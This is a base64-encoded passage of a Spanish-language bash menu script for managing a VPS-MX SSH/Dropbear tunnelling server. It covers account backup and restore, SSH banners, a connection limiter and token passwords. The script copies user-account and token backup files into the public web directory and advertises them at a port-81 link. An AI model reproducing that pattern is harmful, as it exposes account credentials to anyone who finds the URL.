UElSQURBXSIKZG9uZSA8ICR7ZGlyYmFja3VwfQo7OwozKQptc2cgLWJhcgptc2cgLWFtYSAiCURFU0NBUkdBUiBMSU5LIERFIEJBQ0tVUCIKbXNnIC1iYXIKbXNnIC1uZSAiIEluZ3Jlc2UgU3UgTGluazogIgpyZWFkIGxpbmsKd2dldCAtTyAkSE9NRS9WUFMtTVgtQmFja3VwICRsaW5rICY+L2Rldi9udWxsCmVjaG8gIiIKbXNnIC1hbWEgIiBMSU5LIERFU0NBUkdBRE8gQ09OIEVYSVRPXG4gQUhPUkEgVlVFTFZFIEEgUkVHUkVTQVIgRU4gTEEgT1BDSU9OIERFIFJFU1RBVVJBUiBCQUNLVVBcbiBPcGNpb24gMTEgZGVzcHVlcyBvcGNpb24gMiBSZXN0YXVyYXIgQmFja3VwIgptc2cgLWJhcgo7Owplc2FjCmVjaG8gIiIKbXNnIC1iYXIKbXNnIC1uZSAiIEVudGVyIFBhcmEgQ29udGludWFyIiAmJiByZWFkIGVudGVyCiR7U0NQdXNyfS91c2VyY29kZXMKfQpiYWNrdXBfaHdpZCAoKSB7CmNsZWFyCmNsZWFyCiNtc2cgLWJhcgptc2cgLXRpdAptc2cgLWFtYSAiJChmdW5fdHJhbnMgIiAgICAgICAgQkFDS1VQIERFIFVTVUFSSU9TIEhXSUQiKSIKbXNnIC1iYXIKbWVudV9mdW5jICJDUkVBUiBCQUNLVVAiICJSRVNUQVVSQVIgQkFDS1VQIiAiREVTQ0FSR0FSIExJTksgQkFDS1VQIgptc2cgLWJhcgp1bnNldCBzZWxlY3Rpb24Kd2hpbGUgW1sgJHtzZWxlY3Rpb259ICE9IEAoWzEtM10pIF1dOyBkbwplY2hvIC1uZSAiXDAzM1sxOzM3bSQoZnVuX3RyYW5zICJTZWxlY2Npb25lIHVuYSBPcGNpb24iKTogIiAmJiByZWFkIHNlbGVjdGlvbgp0cHV0IGN1dTEgJiYgdHB1dCBkbDEKZG9uZQpjYXNlICR7c2VsZWN0aW9ufSBpbgoxKQpjcCAke1VTUmRhdGFiYXNlaH0gJEhPTUUvQmFja3VwLUhXSUQKY3AgJHtVU1JkYXRhYmFzZWh9IC92YXIvd3d3L2h0bWwvQmFja3VwLUhXSUQKbXNnIC1henUgIiQoZnVuX3RyYW5zICJQcm9jZWRpbWllbnRvIEhlY2hvIGNvbiBFeGl0bywgR3VhcmRhZG8gZW46IikiCmVjaG8gIiIKZWNobyAtZSAiXDAzM1sxOzMxbUJBQ0tVUCA+IFtcMDMzWzE7MzJtJEhPTUUvQmFja3VwLUhXSURcMDMzWzE7MzFtXSIKZWNobyAtZSAiXDAzM1sxOzMxbUJBQ0tVUCBMSU5LID4gW1wwMzNbMTszMm1odHRwOi8vJChtZXVfaXApOjgxL0JhY2t1cC1IV0lEXDAzM1sxOzMxbV0iCmVjaG8gIiIKOzsKMikKd2hpbGUgW1sgISAtZSAke2RpcmJhY2t1cGh9IF1dOyBkbwplY2hvIC1uZSAiXDAzM1sxOzM3bSDCocKhUmVjb21pZW5kbyBERVNBQ1RJVkFSIExpbWl0YWRvciBzaSBlcyBxdWUgbG8gdGllbmUgQUNUSVZPISFcbiIKZWNobyAtbmUgIlwwMzNbMTszN20gRXNjcmliYSBsYSB1YmljYWNpb24gZGUgbGEgY29waWEgZGUgc2VndXJpZGFkXG4iIAptc2cgLWJhcgplY2hvIC1uZSAiXDAzM1sxOzM3bSBFTlRFUjogcGFyYSBydXRhIHByZWRldGVybWluYWRhIC9yb290L0JhY2t1cC1IV0lEOiAiICYmIHJlYWQgZGlyYmFja3VwCmVjaG8gIiIKZWNobyAiLS0tLS0tLS0tLSAgUkVTVEFVUkFORE8gQ1VFTlRBUyBFU1BFUkUgIgplY2hvICIiCm1zZyAtYmFyCltbIC16ICIke2RpcmJhY2t1cGh9IiBdXSAmJiBkaXJiYWNrdXBoPSIvcm9vdC9CYWNrdXAtSFdJRCIKdHB1dCBjdXUxICYmIHRwdXQgZGwxCmRvbmUKVlBTc2VjPSQoZGF0ZSArJXMpCndoaWxlIHJlYWQgbGluZTsgZG8KaHdpZD0kKGVjaG8gJHtsaW5lfXxjdXQgLWQnfCcgLWYxKQpbWyAkKGVjaG8gJChtb3N0cmFyX2h3aWQpfGdyZXAgLXcgIiRod2lkIikgXV0gJiYgeyBtc2cgLXZlcm0gIiRod2lkIFtFUlJPUl0iCiAgY29udGludWUKICB9Cm5vbWJyZT0kKGVjaG8gJHtsaW5lfXxjdXQgLWQnfCcgLWYyKQpEYXRlRXhwPSQoZWNobyAke2xpbmV9fGN1dCAtZCd8JyAtZjMpCkRhdGFTZWM9JChkYXRlICslcyAtLWRhdGU9IiREYXRlRXhwIikKW1sgIiRWUFNzZWMiIC1sdCAiJERhdGFTZWMiIF1dICYmIGRpYXM9IiQoKCQoKCREYXRhU2VjIC0gJFZQU3NlYykpIC8gODY0MDApKSIgfHwgZGlhcz0iTlAiCgphZGRfaHdpZCAiJGh3aWQiICIkbm9tYnJlIiAiJGRpYXMiICY+L2Rldi9udWxsICYmIG1zZyAtdmVyZCAiJGh3aWQgW0NVRU5UQSBWQUxJREFdIiB8fCBtc2cgLXZlcm0gIiRod2lkIFtDVUVOVEEgSU5WQUxJREEgRkVDSEEgRVhQSVJBREFdIgpkb25lIDwgJHtkaXJiYWNrdXBofQo7OwozKQptc2cgLWJhcgptc2cgLWFtYSAiCURFU0NBUkdBUiBMSU5LIERFIEJBQ0tVUCIKbXNnIC1iYXIKbXNnIC1uZSAiIEluZ3Jlc2UgU3UgTGluayBId2lkOiAiCnJlYWQgbGluawp3Z2V0IC1PICRIT01FL0JhY2t1cC1IV0lEICRsaW5rICY+L2Rldi9udWxsCmVjaG8gIiIKbXNnIC1hbWEgIiBMSU5LIERFU0NBUkdBRE8gQ09OIEVYSVRPXG4gQUhPUkEgVlVFTFZFIEEgUkVHUkVTQVIgRU4gTEEgT1BDSU9OIERFIFJFU1RBVVJBUiBCQUNLVVBcbiBPcGNpb24gMTEgZGVzcHVlcyBvcGNpb24gMiBSZXN0YXVyYXIgQmFja3VwIGh3aWQiCm1zZyAtYmFyCjs7CmVzYWMKZWNobyAiIgptc2cgLWJhcgptc2cgLW5lICIgRW50ZXIgUGFyYSBDb250aW51YXIiICYmIHJlYWQgZW50ZXIKJHtTQ1B1c3J9L3VzZXJjb2Rlcwp9CmJhY2t1cF90b2tlbiAoKSB7CmNsZWFyCmNsZWFyCiNtc2cgLWJhcgptc2cgLXRpdAptc2cgLWFtYSAiJChmdW5fdHJhbnMgIiAgICAgICAgQkFDS1VQIERFIFVTVUFSSU9TIFRPS0VOIikiCm1zZyAtYmFyCm1lbnVfZnVuYyAiQ1JFQVIgQkFDS1VQIiAiUkVTVEFVUkFSIEJBQ0tVUCIgIkRFU0NBUkdBUiBMSU5LIEJBQ0tVUCIKbXNnIC1iYXIKdW5zZXQgc2VsZWN0aW9uCndoaWxlIFtbICR7c2VsZWN0aW9ufSAhPSBAKFsxLTNdKSBdXTsgZG8KZWNobyAtbmUgIlwwMzNbMTszN20kKGZ1bl90cmFucyAiU2VsZWNjaW9uZSB1bmEgT3BjaW9uIik6ICIgJiYgcmVhZCBzZWxlY3Rpb24KdHB1dCBjdXUxICYmIHRwdXQgZGwxCmRvbmUKY2FzZSAke3NlbGVjdGlvbn0gaW4KMSkKY3AgJHt0b2tlbnN9ICRIT01FL0JhY2t1cC1UT0tFTgpjcCAke3Rva2Vuc30gL3Zhci93d3cvaHRtbC9CYWNrdXAtVE9LRU4KbXNnIC1henUgIiQoZnVuX3RyYW5zICJQcm9jZWRpbWllbnRvIEhlY2hvIGNvbiBFeGl0bywgR3VhcmRhZG8gZW46IikiCmVjaG8gIiIKZWNobyAtZSAiXDAzM1sxOzMxbUJBQ0tVUCA+IFtcMDMzWzE7MzJtJEhPTUUvQmFja3VwLVRPS0VOXDAzM1sxOzMxbV0iCmVjaG8gLWUgIlwwMzNbMTszMW1CQUNLVVAgTElOSyA+IFtcMDMzWzE7MzJtaHR0cDovLyQobWV1X2lwKTo4MS9CYWNrdXAtVE9LRU5cMDMzWzE7MzFtXSIKZWNobyAiIgo7OwoyKQp3aGlsZSBbWyAhIC1lICR7ZGlyYmFja3VwdH0gXV07IGRvCmVjaG8gLW5lICJcMDMzWzE7MzdtIMKhwqFSZWNvbWllbmRvIERFU0FDVElWQVIgTGltaXRhZG9yIHNpIGVzIHF1ZSBsbyB0aWVuZSBBQ1RJVk8hIVxuIgplY2hvIC1uZSAiXDAzM1sxOzM3bSBFc2NyaWJhIGxhIHViaWNhY2lvbiBkZSBsYSBjb3BpYSBkZSBzZWd1cmlkYWRcbiIgCm1zZyAtYmFyCmVjaG8gLW5lICJcMDMzWzE7MzdtIEVOVEVSOiBwYXJhIHJ1dGEgcHJlZGV0ZXJtaW5hZGEgL3Jvb3QvQmFja3VwLVRPS0VOOiAiICYmIHJlYWQgZGlyYmFja3VwCmVjaG8gIiIKZWNobyAiLS0tLS0tLS0tLSAgUkVTVEFVUkFORE8gQ1VFTlRBUyBFU1BFUkUgIgplY2hvICIiCm1zZyAtYmFyCltbIC16ICIke2RpcmJhY2t1cHR9IiBdXSAmJiBkaXJiYWNrdXB0PSIvcm9vdC9CYWNrdXAtVE9LRU4iCnRwdXQgY3V1MSAmJiB0cHV0IGRsMQpkb25lClZQU3NlYz0kKGRhdGUgKyVzKQp3aGlsZSByZWFkIGxpbmU7IGRvCnVzdWFyaW89JChlY2hvICR7bGluZX18Y3V0IC1kJ3wnIC1mMSkKW1sgJChlY2hvICQobW9zdHJhcl90b2tlbil8Z3JlcCAtdyAiJHVzdWFyaW8iKSBdXSAmJiB7IG1zZyAtdmVybSAiJHVzdWFyaW8gW0VSUk9SXSIKICBjb250aW51ZQogIH0Kbm9tYnJlPSQoZWNobyAke2xpbmV9fGN1dCAtZCd8JyAtZjIpCkRhdGVFeHA9JChlY2hvICR7bGluZX18Y3V0IC1kJ3wnIC1mMykKRGF0YVNlYz0kKGRhdGUgKyVzIC0tZGF0ZT0iJERhdGVFeHAiKQpbWyAiJFZQU3NlYyIgLWx0ICIkRGF0YVNlYyIgXV0gJiYgZGlhcz0iJCgoJCgoJERhdGFTZWMgLSAkVlBTc2VjKSkgLyA4NjQwMCkpIiB8fCBkaWFzPSJOUCIKCmFkZF90b2tlbiAiJHVzdWFyaW8iICIkbm9tYnJlIiAiJGRpYXMiICY+L2Rldi9udWxsICYmIG1zZyAtdmVyZCAiJHVzdWFyaW8gW0NVRU5UQSBWQUxJREFdIiB8fCBtc2cgLXZlcm0gIiR1c3VhcmlvIFtDVUVOVEEgSU5WQUxJREEgRkVDSEEgRVhQSVJBREFdIgpkb25lIDwgJHtkaXJiYWNrdXB0fQo7OwozKQptc2cgLWJhcgptc2cgLWFtYSAiCURFU0NBUkdBUiBMSU5LIERFIEJBQ0tVUCIKbXNnIC1iYXIKbXNnIC1uZSAiIEluZ3Jlc2UgU3UgTGluayBUb2tlbjogIgpyZWFkIGxpbmsKd2dldCAtTyAkSE9NRS9CYWNrdXAtVE9LRU4gJGxpbmsgJj4vZGV2L251bGwKZWNobyAiIgptc2cgLWFtYSAiIExJTksgREVTQ0FSR0FETyBDT04gRVhJVE9cbiBBSE9SQSBWVUVMVkUgQSBSRUdSRVNBUiBFTiBMQSBPUENJT04gREUgUkVTVEFVUkFSIEJBQ0tVUFxuIE9wY2lvbiAxMSBkZXNwdWVzIG9wY2lvbiAyIFJlc3RhdXJhciBCYWNrdXAgVG9rZW4iCm1zZyAtYmFyCjs7CmVzYWMKZWNobyAiIgptc2cgLWJhcgptc2cgLW5lICIgRW50ZXIgUGFyYSBDb250aW51YXIiICYmIHJlYWQgZW50ZXIKJHtTQ1B1c3J9L3VzZXJjb2Rlcwp9CgojaGFjZXIgYmFja3VwIGRlIHNzaC9od2lkL3Rva2VuCm1lbnViYWNrKCl7CmNsZWFyCiNtc2cgLWJhcgptc2cgLXRpdAptc2cgLWFtYSAiCVxlWzM3bUJBQ0tVUCBERSBDVUVOVEFTIFNTSHxIV0lEfFRPS0VOXGVbMG0iCm1zZyAtYmFyCm1lbnVfZnVuYyAiQ1JFQVIgQkFDS1VQIFNTSCIgIkNSRUFSIEJBQ0tVUCBIV0lEIiAiQ1JFQVIgQkFDS1VQIFRPS0VOIgptc2cgLWJhcgp1bnNldCBzZWxlY3Rpb24Kd2hpbGUgW1sgJHtzZWxlY3Rpb259ICE9IEAoWzAtM10pIF1dOyBkbwplY2hvIC1uZSAiXDAzM1sxOzM3bSQoZnVuX3RyYW5zICJTZWxlY2Npb25lIHVuYSBPcGNpb24iKTogIiAmJiByZWFkIHNlbGVjdGlvbgp0cHV0IGN1dTEgJiYgdHB1dCBkbDEKZG9uZQpjYXNlICR7c2VsZWN0aW9ufSBpbgoxKWJhY2t1cF9zc2g7OwoyKWJhY2t1cF9od2lkOzsKMyliYWNrdXBfdG9rZW47OwowKSR7U0NQdXNyfS91c2VyY29kZXM7Owplc2FjCn0KCmJhbmVyX2Z1biAoKSB7CmJhbm5lcl9vbiAoKSB7CmNsZWFyIApjbGVhciAKbG9jYWw9Ii9ldGMvVlBTLU1YL2Jhbm5lcnNzaCIKcm0gLXJmICRsb2NhbCAgPiAvZGV2L251bGwgMj4mMQpsb2NhbDI9Ii9ldGMvZHJvcGJlYXIvYmFubmVyIgpjaGs9JChjYXQgL2V0Yy9zc2gvc3NoZF9jb25maWcgfCBncmVwIEJhbm5lcikKaWYgWyAiJChlY2hvICIkY2hrIiB8IGdyZXAgLXYgIiNCYW5uZXIiIHwgZ3JlcCBCYW5uZXIpIiAhPSAiIiBdOyB0aGVuCmxvY2FsPSQoZWNobyAiJGNoayIgfGdyZXAgLXYgIiNCYW5uZXIiIHwgZ3JlcCBCYW5uZXIgfCBhd2sgJ3twcmludCAkMn0nKQogZWxzZQplY2hvICIiID4+IC9ldGMvc3NoL3NzaGRfY29uZmlnCmVjaG8gIkJhbm5lciAvZXRjL1ZQUy1NWC9iYW5uZXJzc2giID4+IC9ldGMvc3NoL3NzaGRfY29uZmlnCmxvY2FsPSIvZXRjL1ZQUy1NWC9iYW5uZXJzc2giCmZpCiNtc2cgLWJhcgptc2cgLXRpdAptc2cgLWFtYSAiICAgICAgICAgQUdSRUdBUiBCQU5ORVIgU1NIL1NTTC9EUk9QQkVBUiIKbXNnIC1iYXIKbXNnIC1uZSAiJChmdW5fdHJhbnMgICJJbnNlcnRlIGVsIEJBTk5FUiBkZSBwcmVmZXJlbmNpYSBlbiBIVE1MIHNpbiBzYWx0b3MiKTogXG5cbiIgJiYgcmVhZCBiYW5fbmVyCmVjaG8gIiIKbXNnIC1iYXIKY3JlZGk9IiQobGVzcyAvZXRjL1ZQUy1NWC9tZXNzYWdlLnR4dCkiCmVjaG8gIiRiYW5fbmVyIiA+PiAkbG9jYWwKZWNobyAnPHAgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDBmZjsiPjxzdHJvbmc+JyRjcmVkaSc8L3N0cm9uZz48L3NwYW4+PGJyIC8+PGVtPjxzcGFuIHN0eWxlPSJjb2xvcjogI2ZmMDAwMDsiPjxzdHJvbmc+QnkgTEFDQVNJVEEmYnVsbDtNWDwvc3Ryb25nPjwvc3Bhbj48L2VtPjwvcD4nID4+ICRsb2NhbAppZiBbWyAtZSAiJGxvY2FsMiIgXV07IHRoZW4Kcm0gJGxvY2FsMiAgPiAvZGV2L251bGwgMj4mMQpjcCAkbG9jYWwgJGxvY2FsMiA+IC9kZXYvbnVsbCAyPiYxCmZpIAptc2cgLXZlcmQgIiQoZnVuX3RyYW5zICAiICAgICAgICAgICBCQU5ORVIgQUdSRUdBRE8gQ09OICEhIEVYSVRPIMKhwqEiICkiICYmIG1zZyAtYmFyCnNlcnZpY2UgZHJvcGJlYXIgc3RvcCAyPi9kZXYvbnVsbApzZXJ2aWNlIHNzaCByZXN0YXJ0IDI+L2Rldi9udWxsCnNlcnZpY2UgZHJvcGJlYXIgcmVzdGFydCAyPi9kZXYvbnVsbAp9CgpiYW5uZXJfb2ZmICgpIHsKY2xlYXIKY2xlYXIKI21zZyAtYmFyCm1zZyAtdGl0Cm1zZyAtYW1hICIgICAgICAgICBFTElNSU5BTkRPICBCQU5ORVIgU1NIL1NTTC9EUk9QQkVBUiIKbXNnIC1iYXIKc2VkIC1pICcvJ0Jhbm5lcicvZCcgL2V0Yy9zc2gvc3NoZF9jb25maWcKc2VkIC1pIC1lICdzL15bIFx0XSovLzsgcy9bIFx0XSokLy87IC9eJC9kJyAvZXRjL3NzaC9zc2hkX2NvbmZpZwplY2hvICIiID4+IC9ldGMvc3NoL3NzaGRfY29uZmlnCnJtIC1yZiAgL2V0Yy9kcm9wYmVhci9iYW5uZXIgPiAvZGV2L251bGwgMj4mMQplY2hvICIiID4gL2V0Yy9kcm9wYmVhci9iYW5uZXIgID4gL2Rldi9udWxsIDI+JjEKc2VydmljZSBkcm9wYmVhciBzdG9wIDI+L2Rldi9udWxsCnNlcnZpY2Ugc3NoIHJlc3RhcnQgMj4vZGV2L251bGwKc2VydmljZSBkcm9wYmVhciByZXN0YXJ0IDI+L2Rldi9udWxsCmVjaG8gLWUgIlwwMzNbMTs5Mm0gICAgICAgICAgICBCQU5ORVIgRUxJTUlOQURPICEhIEVYSVRPIMKhwqEgIgptc2cgLWJhcgp9CmNsZWFyCmNsZWFyCiNtc2cgLWJhcgptc2cgLXRpdAptc2cgLWFtYSAiICAgICAgICAgQUdSRUdBUiBCQU5ORVIgU1NIL1NTTC9EUk9QQkVBUiIKbXNnIC1iYXIKZWNobyAtZSAiJHtjb3JbMV19ICAgICAgICAgICAgRXNjb2phIGxhIG9wY2lvbiBkZXNlYWRhLiIKbXNnIC1iYXIKZWNobyAtZSAiXDAzM1sxOzkybSAxKS4tIFwwMzNbMTszN20gQUdSRUdBUiBCQU5ORVIgU1NIL1NTTC9EUk9QQkVBUiAiCmVjaG8gLWUgIlwwMzNbMTs5Mm0gMikuLSBcMDMzWzE7MzdtIEVMSU1JTkFSIFkgREVTQUNUSVZBUiBCQU5ORVIgICAiCm1zZyAtYmFyCmVjaG8gLW5lICJcMDMzWzE7MzdtRGlnaXRlIHNvbG8gZWwgbnVtZXJvIHNlZ3VuIHN1IHJlc3B1ZXN0YTogXDAzM1sxOzMybSIKcmVhZCBvcGNhbwpjYXNlICRvcGNhbyBpbgoxKQptc2cgLWJhcgpiYW5uZXJfb24KOzsKMikKbXNnIC1iYXIKYmFubmVyX29mZgo7Owplc2FjCm1zZyAtbmUgIiBFbnRlciBQYXJhIENvbnRpbnVhciIgJiYgcmVhZCBlbnRlcgoke1NDUHVzcn0vdXNlcmNvZGVzCn0KCnJlY190b3RhbCAoKSB7CmNsZWFyCmNsZWFyCiNtc2cgLWJhcgptc2cgLXRpdAplY2hvIC1lICJcMDMzWzE7MzJtICBSRUdJU1RSTyBUT1RBTCBERSBDVUVOVEFTIFZJRUpBUyBZIE5VRVZBUyIKbXNnIC1iYXIKbXNnIC1hbWEgIglDVUVOU1RBUyBTU0giCmlmIFtbIC1lIC9ldGMvVlBTLU1YL1ZQUy1NWHVzZXIgXV07IHRoZW4KZWNobyAiJChjYXQgL2V0Yy9WUFMtTVgvVlBTLU1YdXNlcikiCmVsc2UKbXNnIC1hbWEgIiBOTyBIQVkgUkVHSVNUUk8iCmZpCm1zZyAtYmFyCm1zZyAtYW1hICIJQ1VFTlRBUyBIV0lEIgppZiBbWyAtZSAvZXRjL1ZQUy1NWC9Vc2VyLUhXSUQgXV07IHRoZW4KZWNobyAiJChjYXQgL2V0Yy9WUFMtTVgvVXNlci1IV0lEKSIKZWxzZQptc2cgLWFtYSAiIE5PIEhBWSBSRUdJU1RSTyIKZmkKbXNnIC1iYXIKbXNnIC1hbWEgIglDVUVOVEFTIFRPS0VOIgppZiBbWyAtZSAvZXRjL1ZQUy1NWC9Vc2VyLVRPS0VOIF1dOyB0aGVuCmVjaG8gIiQoY2F0IC9ldGMvVlBTLU1YL1VzZXItVE9LRU4pIgplbHNlCm1zZyAtYW1hICIgTk8gSEFZIFJFR0lTVFJPIgpmaQptc2cgLWJhcgptc2cgLW5lICIgRW50ZXIgUGFyYSBDb250aW51YXIiICYmIHJlYWQgZW50ZXIKJHtTQ1B1c3J9L3VzZXJjb2Rlcwp9Cgp2ZXJpZl9mdW54ICgpIHsKY2xlYXIKY2xlYXIKbXNnIC1iYXIKbXNnIC10aXQKZWNobyAtZSAiXDAzM1sxOzMybSAgICAgICAgICAgICBMSU1JVEFET1IgREUgQ1VFTlRBUyIKbXNnIC1iYXIKZWNobyAtZSAiRXN0YSBPcGNpb24gTGltaXRhIGxhcyBDb25leGlvbmVzIGRlIFNTSC9TU0wvRFJPUEJFQVIiClBJRFZSRj0iJChwcyBhdXh8Z3JlcCAtdiBncmVwIHxncmVwICJ2ZXJpZiIpIgppZiBbWyAteiAkUElEVlJGIF1dOyB0aGVuCm1zZyAtYmFyCmVjaG8gLW5lICJcMDMzWzE7OTZtICAgwr9DYWRhIGN1YW50b3Mgc2VndW5kb3MgZWplY3V0YXIgZWwgbGltaXRhZG9yP1xuXDAzM1sxOzk3bSAgK1NlZ3VuZG9zID0gLVVzbyBkZSBDUFUgfCAtU2VndW5kb3MgPSArVXNvIGRlIENQVVwwMzNbMDs5Mm0gXG4gICAgICAgICAgICAgICAgUHJlZGV0ZXJtaW5hZG86XDAzM1sxOzM3bSAxODBzfCAzIG1pbnV0b3NcbiAgICAgQ3VhbnRvcyBTZWd1bmRvcyAoTnVtZXJvcyBVbmljYW1lbnRlKTogIiAmJiByZWFkIHRpZW1saW0gICAKW1sgLXogIiR0aWVtbGltIiBdXSAmJiB0aWVtbGltPSIxODAiCmVjaG8gIiR7dGllbWxpbX0iID4gL2V0Yy9WUFMtTVgvY29udHJvbGFkb3IvdGllbWxpbS5sb2cKc2NyZWVuIC1kbVMgdmVyaWYgJHtTQ1BkaXJ9L3RtcC92ZXJpZmkKW1sgJChncmVwIC13YyAidmVyaWYiIC9ldGMvYXV0b3N0YXJ0KSA9ICcwJyBdXSAmJiB7CgkJCQkJCWVjaG8gLWUgInBzIHggfGdyZXAgJ3ZlcmlmJyB8Z3JlcCAtdiAnZ3JlcCcgfHwgc2NyZWVuIC1kbVMgdmVyaWYgJHtTQ1BkaXJ9L3RtcC92ZXJpZmkiID4+L2V0Yy9hdXRvc3RhcnQKCQkJCQl9IHx8IHsKCQkJCQkJc2VkIC1pICcvdmVyaWYvZCcgL2V0Yy9hdXRvc3RhcnQKCQkJCQkJZWNobyAtZSAicHMgeCB8Z3JlcCAndmVyaWYnIHxncmVwIC12ICdncmVwJyB8fCBzY3JlZW4gLWRtUyB2ZXJpZiAke1NDUGRpcn0vdG1wL3ZlcmlmaSIgPj4vZXRjL2F1dG9zdGFydAoJCQkJCX0KZWxzZQoKCXNjcmVlbiAtciAtUyAidmVyaWYiIC1YIHF1aXQKICAgICAgICBzY3JlZW4gLXdpcGUgMT4vZGV2L251bGwgMj4vZGV2L251bGwKICAgICAgICBbWyAkKGdyZXAgLXdjICJ2ZXJpZiIgL2V0Yy9hdXRvc3RhcnQpICE9ICcwJyBdXSAmJiB7CgkJICAgIHNlZCAtaSAnL3ZlcmlmL2QnIC9ldGMvYXV0b3N0YXJ0CgkJfQoJCQpbWyAtZSAke1NDUGRpcn0vVVNSb25saW5lcyBdXSAmJiBybSAke1NDUGRpcn0vVVNSb25saW5lcwpbWyAtZSAke1NDUGRpcn0vVVNSZXhwaXJlZCBdXSAmJiBybSAke1NDUGRpcn0vVVNSZXhwaXJlZApbWyAtZSAke1NDUGRpcn0vVVNSYmxvcXVlYWRvcyBdXSAmJiBybSAke1NDUGRpcn0vVVNSYmxvcXVlYWRvcwpmaQptc2cgLWJhcgpbWyAteiAke1ZFUll9IF1dICYmIHZlcmlmaWNhcj0iXDAzM1sxOzMybSBBQ1RJVkFETyAiIHx8IHZlcmlmaWNhcj0iXDAzM1sxOzMxbSBERVNBQ1RJVkFETyAiCmVjaG8gLWUgIiAgICAgICAgICAgICR2ZXJpZmljYXIgIC0tICBDT04gRVhJVE8iCm1zZyAtYmFyCm1zZyAtbmUgIiBFbnRlciBQYXJhIENvbnRpbnVhciIgJiYgcmVhZCBlbnRlcgoke1NDUHVzcn0vdXNlcmNvZGVzCn0KCiMjREVTQkxPRVVFQVIKCnZlcmlmMl9mdW54ICgpIHsKY2xlYXIKY2xlYXIKbXNnIC1iYXIKbXNnIC10aXQKZWNobyAtZSAiXDAzM1sxOzMybSAgICAgIERFU0JMT1FVRU8gQVVULiBZIExJTVBJQURPUiBERSBFWFBJQVJET1MiCm1zZyAtYmFyCmVjaG8gLWUgIkVzdGEgb3BjaW9uIGRlc2Jsb3F1ZWEgY2FkYSA1IG1pbnV0b3MgYSB1c3Vhcmlvc1xuYmxvcXVlYWRvcyBwb3IgZWwgbGltaXRhZG9yIHkgbGltcGlhIGxvcyB1c3VhcmlvcyBleHBpcmFkb3MiClBJRFZSRjI9IiQocHMgYXV4fGdyZXAgLXYgZ3JlcCB8Z3JlcCAiYXV0b2RlIikiCmlmIFtbIC16ICRQSURWUkYyIF1dOyB0aGVuCm1zZyAtYmFyCmVjaG8gLW5lICJcMDMzWzE7OTZtICAgwr9DYWRhIGN1YW50b3Mgc2VndW5kb3MgZWplY3V0YXIgZWwgZGVzYmxvcXVlYWRvcj9cblwwMzNbMTs5N20gICtTZWd1bmRvcyA9IC1Vc28gZGUgQ1BVIHwgLVNlZ3VuZG9zID0gK1VzbyBkZSBDUFVcMDMzWzA7OTJtIFxuICAgICAgICAgICAgICAgIFByZWRldGVybWluYWRvOlwwMzNbMTszN20gMzAwc1xuICAgICBDdWFudG9zIFNlZ3VuZG9zIChOdW1lcm9zIFVuaWNhbWVudGUpOiAiICYmIHJlYWQgdGllbWRlcyAgIApbWyAteiAiJHRpZW1kZXMiIF1dICYmIHRpZW1kZXM9IjMwMCIKZWNobyAiJHt0aWVtZGVzfSIgPiAvZXRjL1ZQUy1NWC9jb250cm9sYWRvci90aWVtZGVzLmxvZwojc2NyZWVuIC1kbVMgZGVzYmxvcXVlbyAke1NDUGRpcn0vdG1wL2F1dG9kZXMKCnNjcmVlbiAtZG1TIGF1dG9kZSAke1NDUGRpcn0vdG1wL2F1dG9kZXMKIwoJCQkJCVtbICQoZ3JlcCAtd2MgImF1dG9kZXMiIC9ldGMvYXV0b3N0YXJ0KSA9ICcwJyBdXSAmJiB7CgkJCQkJCWVjaG8gLWUgInBzIHggfCBncmVwICdhdXRvZGUnIHxncmVwIC12ICdncmVwJyB8fCBzY3JlZW4gLWRtUyBhdXRvZGUgJHtTQ1BkaXJ9L3RtcC9hdXRvZGVzIiA+Pi9ldGMvYXV0b3N0YXJ0CgkJCQkJfSB8fCB7CgkJCQkJCXNlZCAtaSAnL2F1dG9kZXMvZCcgL2V0Yy9hdXRvc3RhcnQKCQkJCQkJZWNobyAtZSAicHMgeCB8IGdyZXAgJ2F1dG9kZScgfGdyZXAgLXYgJ2dyZXAnIHx8IHNjcmVlbiAtZG1TIGF1dG9kZSAke1NDUGRpcn0vdG1wL2F1dG9kZXMiID4+L2V0Yy9hdXRvc3RhcnQKCQkJCQl9CmVsc2UKCglmb3IgcGlkcHJveHkgaW4gJChzY3JlZW4gLWxzIHwgZ3JlcCAiYXV0b2RlIiB8IGF3ayB7J3ByaW50ICQxJ30pOyBkbwoJCQkJCQlzY3JlZW4gLXIgLVMgIiRwaWRwcm94eSIgLVggcXVpdAoJCQkJCWRvbmUKCQkJCQlbWyAkKGdyZXAgLXdjICJhdXRvZGVzIiAvZXRjL2F1dG9zdGFydCkgIT0gJzAnIF1dICYmIHsKCQkJCQkJc2VkIC1pICcvYXV0b2Rlcy9kJyAvZXRjL2F1dG9zdGFydAoJCQkJCX0KCQkJCQlzbGVlcCAxCgkJCQkJc2NyZWVuIC13aXBlID4vZGV2L251bGwKZmkKbXNnIC1iYXIKW1sgLXogJHtWRVJZMn0gXV0gJiYgZGVzYmxvcXVlbz0iXDAzM1sxOzMybSBBQ1RJVkFETyAiIHx8IGRlc2Jsb3F1ZW89IlwwMzNbMTszMW0gREVTQUNUSVZBRE8gIgplY2hvIC1lICIgICAgICAgICAgICAkZGVzYmxvcXVlbyAgLS0gIENPTiBFWElUTyIKbXNnIC1iYXIKbXNnIC1uZSAiIEVudGVyIFBhcmEgQ29udGludWFyIiAmJiByZWFkIGVudGVyCiR7U0NQdXNyfS91c2VyY29kZXMKfQp0b2tlbnBhc3MoKXsKICAjCiAgY2xlYXIKbXNnIC1iYXIKbXNnIC10aXQKYXBhc3M9JChjYXQgJHtTQ1BkaXJ9Ly5wYXNzdykKICBtc2cgLWFtYSAiQ09ORklHVVJBQ0lPTiBERSBDT05UUkFTRcORQSBUT0tFTiIKICBtc2cgLWJhcgogIAogIGlmIFtbICEgLXogIiRhcGFzcyIgXV07IHRoZW4KICAgIG1zZyAtYXp1ICJDT05UUkFTRcORQSBBQ1RVQUw6ICRhcGFzcyIKICAgIG1zZyAtYmFyCiAgZmkKICB3aGlsZSB0cnVlOyBkbwogICAgZWNobyAtZSAiICQobXNnIC12ZXJtICLila3ilbzilbzilbxbIikkKG1zZyAtYXp1ICJJTkdSRVNFIFNVIENPTlRSQVNFw5FBLCBFTlRFUiBQQVJBIENBTkNFTEFSIikkKG1zZyAtdmVybSAiXSIpIgogICAgZWNobyAtbmUgIiAkKG1zZyAtdmVybSAi4pWw4pW8IilcMDMzWzM3OzFtPiAiICYmIHJlYWQgbnBhc3MKICAgIG5wYXNzPSIkKGVjaG8gJG5wYXNzfHNlZCAneS/DocOBw6DDgMOjw4PDosOCw6nDicOqw4